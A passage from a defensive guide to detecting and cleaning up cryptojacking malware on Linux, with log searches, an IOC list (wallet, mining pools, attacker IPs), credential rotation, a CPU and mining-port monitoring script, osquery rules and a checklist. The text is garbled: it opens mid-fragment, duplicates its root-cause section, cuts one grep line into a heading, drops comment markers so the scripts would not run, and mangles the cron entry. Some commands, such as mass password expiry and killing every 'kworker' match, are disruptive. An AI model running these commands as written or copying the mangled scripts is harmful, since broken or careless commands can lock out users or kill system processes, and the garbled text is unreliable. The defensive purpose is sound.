# Query audit logs
ausearch -k tmp_execution
ausearch -k systemd_changes

---

9. Post-Incident Activities

9.1 Root Cause Analysis

Determining Initial Access Vector:


# Analyze auth logs for brute-force patterns
grep "Failed password" /var/log/auth.log | awk '{print \$(NF-3)}' | sort | uniq -c | sort -rn | head -20

# Identify successful login after failures
grep "Accepted password for root" /var/log/auth.log

# Check for vulnerable services
nmap -sV localhost
netstat -tulpn | grep LISTEN

# Review Apache/Nginx logs for exploitation attempts
grep -E "eval|base64|exec" /var/log/apache2/access.log
grep -E "POST|\x|**Auditd for Process Monitoring:**

Install auditd

apt-get install auditd audispd-plugins -y

Monitor process execution in /tmp

auditctl -w /tmp -p x -k tmp_execution

auditctl -w /var/tmp -p x -k tmp_execution

Monitor systemd changes

auditctl -w /etc/systemd/system -p wa -k systemd_changes

Monitor crontab modifications

auditctl -w /etc/crontab -p wa -k cron_changes

auditctl -w /var/spool/cron -p wa -k cron_changes

Monitor SSH key changes

auditctl -w /root/.ssh/authorized_keys -p wa -k ssh_key_changes

Save rules permanently

auditctl -l > /etc/audit/rules.d/cryptojacking.rules

Query audit logs

ausearch -k tmp_execution

ausearch -k systemd_changes



---

## 9. Post-Incident Activities

### 9.1 Root Cause Analysis

**Determining Initial Access Vector:**

Analyze auth logs for brute-force patterns

grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -20

Identify successful login after failures

grep "Accepted password for root" /var/log/auth.log

Check for vulnerable services

nmap -sV localhost

netstat -tulpn | grep LISTEN

Review Apache/Nginx logs for exploitation attempts

grep -E "eval|base64|exec" /var/log/apache2/access.log

grep -E "POST|\\x|%00" /var/log/nginx/access.log



**Common Entry Vectors:**

1. **SSH Brute-Force** - Weak passwords, exposed port 22
2. **Web Application Vulnerabilities** - RCE, LFI, unrestricted file upload
3. **Exposed Docker API** - Unauthenticated Docker daemon
4. **Redis/MongoDB No-Auth** - Default configurations
5. **Vulnerable Services** - Unpatched software

### 9.2 Threat Intelligence Sharing

**IOC (Indicators of Compromise) Extraction:**

Extract and document IOCs

cat > /root/incident_response/iocs.txt << 'EOF'

Wallet Addresses

47vK3hWBKjH8QLSwLGLG89QdD7e4PKgG3S9KLPWDqaWdP3UjKqHILXEDF6GqQ3PNGVTYw5YVHjMK5qrLbyZiBXAoF1qzBGT

Mining Pool Domains

pool.minexmr.com

xmr.pool.minergate.com

Attacker IPs

45.67.89.123

103.45.67.89

File Hashes (SHA256)

sha256sum /root/incident_response/malware_binary

Malicious Process Names

kworker (without brackets)

/tmp/xmrig

/tmp/[random_hex]

EOF

Share with threat intelligence platforms

- MISP (Malware Information Sharing Platform)

- AlienVault OTX

- VirusTotal

- CIRCL



### 9.3 Password Rotation and Access Review

**Complete Credential Reset:**

Force password change for all users

for user in $(cut -f1 -d: /etc/passwd); do

chage -d 0 $user 2>/dev/null

done

Generate strong root password

ROOT_PASS=$(openssl rand -base64 32)

echo "root:$ROOT_PASS" | chpasswd

echo "New root password: $ROOT_PASS" > /root/new_password.txt

chmod 400 /root/new_password.txt

Rotate SSH keys

mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys.old

ssh-keygen -t ed25519 -C "root@$(hostname)-$(date +%Y%m%d)"

Disable password authentication completely

sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config

systemctl restart sshd



### 9.4 Monitoring and Detection

**Implementing Real-Time Monitoring:**

Create monitoring script

cat > /usr/local/bin/cryptojacking_monitor.sh << 'EOF'

#!/bin/bash

Alert if CPU usage exceeds threshold

CPU_THRESHOLD=80

CPU_USAGE=$(top -bn1 | grep "Cpu(s)" | awk '{print $2}' | cut -d'%' -f1 | cut -d'.' -f1)

if [ "$CPU_USAGE" -gt "$CPU_THRESHOLD" ]; then

echo "ALERT: High CPU usage detected: ${CPU_USAGE}%" | mail -s "Cryptojacking Alert" [email protected]

ps aux --sort=-%cpu | head -10 | mail -s "Top CPU Processes" [email protected]

fi

Check for suspicious processes

if ps aux | grep -E 'kworker|xmrig' | grep -v grep | grep -v '\['; then

echo "ALERT: Suspicious process detected" | mail -s "Cryptojacking Alert" [email protected]

ps aux | grep -E 'kworker|xmrig' | grep -v grep | mail -s "Suspicious Processes" [email protected]

fi

Check for connections to mining ports

if netstat -antp | grep -E ':3333|:5555|:7777' | grep ESTABLISHED; then

echo "ALERT: Mining pool connection detected" | mail -s "Cryptojacking Alert" [email protected]

netstat -antp | grep ESTABLISHED | mail -s "Active Connections" [email protected]

fi

EOF

chmod +x /usr/local/bin/cryptojacking_monitor.sh

Schedule every 5 minutes

echo "/5 * /usr/local/bin/cryptojacking_monitor.sh" >> /etc/crontab



**Integrating with SIEM:**

Forward syslog to SIEM (example: Splunk)

cat >> /etc/rsyslog.conf << 'EOF'

. @@siem-server.example.com:514

EOF

systemctl restart rsyslog

Install and configure osquery for EDR

wget https://pkg.osquery.io/deb/osquery_5.5.1-1.linux_amd64.deb

dpkg -i osquery_5.5.1-1.linux_amd64.deb

Configure osquery for cryptojacking detection

cat > /etc/osquery/osquery.conf << 'EOF'

{

"schedule": {

"high_cpu_processes": {

"query": "SELECT pid, name, path, cmdline, cpu_time FROM processes WHERE cpu_time > 1000;",

"interval": 60

},

"network_connections": {

"query": "SELECT * FROM process_open_sockets WHERE remote_port IN (3333, 5555, 7777);",

"interval": 60

},

"tmp_executables": {

"query": "SELECT * FROM file WHERE path LIKE '/tmp/%' AND mode LIKE '%x%';",

"interval": 300

}

}

}

EOF

systemctl start osqueryd

systemctl enable osqueryd



---

## 10. Appendix: Command Reference

### Quick Reference Table

| Task | Command |
|------|---------|
| **Identify high CPU processes** | `ps aux --sort=-%cpu \| head -20` |
| **Find fake kworker** | `ps aux \| grep kworker \| grep -v '\['` |
| **Check mining pool connections** | `netstat -antp \| grep -E ':3333\|:5555\|:7777'` |
| **Kill malicious process** | `kill -9 $(pgrep -f kworker)` |
| **List systemd services** | `systemctl list-unit-files --type=service` |
| **Check all crontabs** | `for u in $(cut -f1 -d: /etc/passwd); do crontab -l -u $u; done` |
| **Find authorized_keys** | `find / -name "authorized_keys" 2>/dev/null` |
| **Apply noexec to /tmp** | `mount -o remount,noexec,nosuid,nodev /tmp` |
| **Make file immutable** | `chattr +i /etc/passwd` |
| **Block Stratum ports** | `iptables -A OUTPUT -p tcp --dport 3333 -j REJECT` |

### Incident Response Checklist

- [ ] **Contain**: Disconnect from network if necessary
- [ ] **Identify**: Find all malicious processes (PIDs)
- [ ] **Preserve**: Copy binaries and configs for forensics
- [ ] **Document**: Capture logs, process lists, network connections
- [ ] **Kill**: Terminate all malicious processes
- [ ] **Clean Systemd**: Remove malicious service units
- [ ] **Clean Crontabs**: Remove all persistence entries
- [ ] **Clean SSH**: Remove unauthorized keys
- [ ] **Remove Binaries**: Delete from /tmp, /var/tmp, /dev/shm
- [ ] **Harden /tmp**: Apply noexec mount option
- [ ] **Implement chattr**: Protect critical system files
- [ ] **Configure Firewall**: Block Stratum ports
- [ ] **Rotate Credentials**: Change all passwords and SSH keys
- [ ] **Update System**: Apply all security patches
- [ ] **Deploy Monitoring**: Set up real-time detection
- [ ] **Root Cause**: Determine initial access vector
- [ ] **Share IOCs**: Submit to threat intelligence platforms

---

## Conclusion

Cryptojacking malware represents a sophisticated and persistent threat to Linux infrastructure. This guide has provided a comprehensive, technically deep approach to detection, analysis, eradication, and prevention. Key takeaways include:

1. **Detection requires vigilance**: Monitor CPU usage, process names, and network connections
2. **Understanding is crucial**: Know how `prctl()` masquerading works and how to detect it
3. **Persistence is multi-layered**: Check systemd, crontabs, SSH keys, and more
4. **Forensics matter**: Preserve evidence before cleanup for root cause analysis
5. **Prevention is best**: Use noexec, chattr, firewall rules, and monitoring
6. **Defense in depth**: Layer multiple security controls

**Final Recommendations:**

- Implement a security-first culture
- Regularly audit system configurations
- Deploy automated monitoring and alerting
- Maintain comprehensive logging
- Participate in threat intelligence sharing
- Keep systems patched and updated
- Use strong authentication (SSH keys, 2FA)
- Minimize attack surface (close unnecessary ports)

> **Remember:** The goal isn't just to remove the current infection, but to prevent future compromises. A comprehensive security posture requires continuous vigilance, monitoring, and improvement.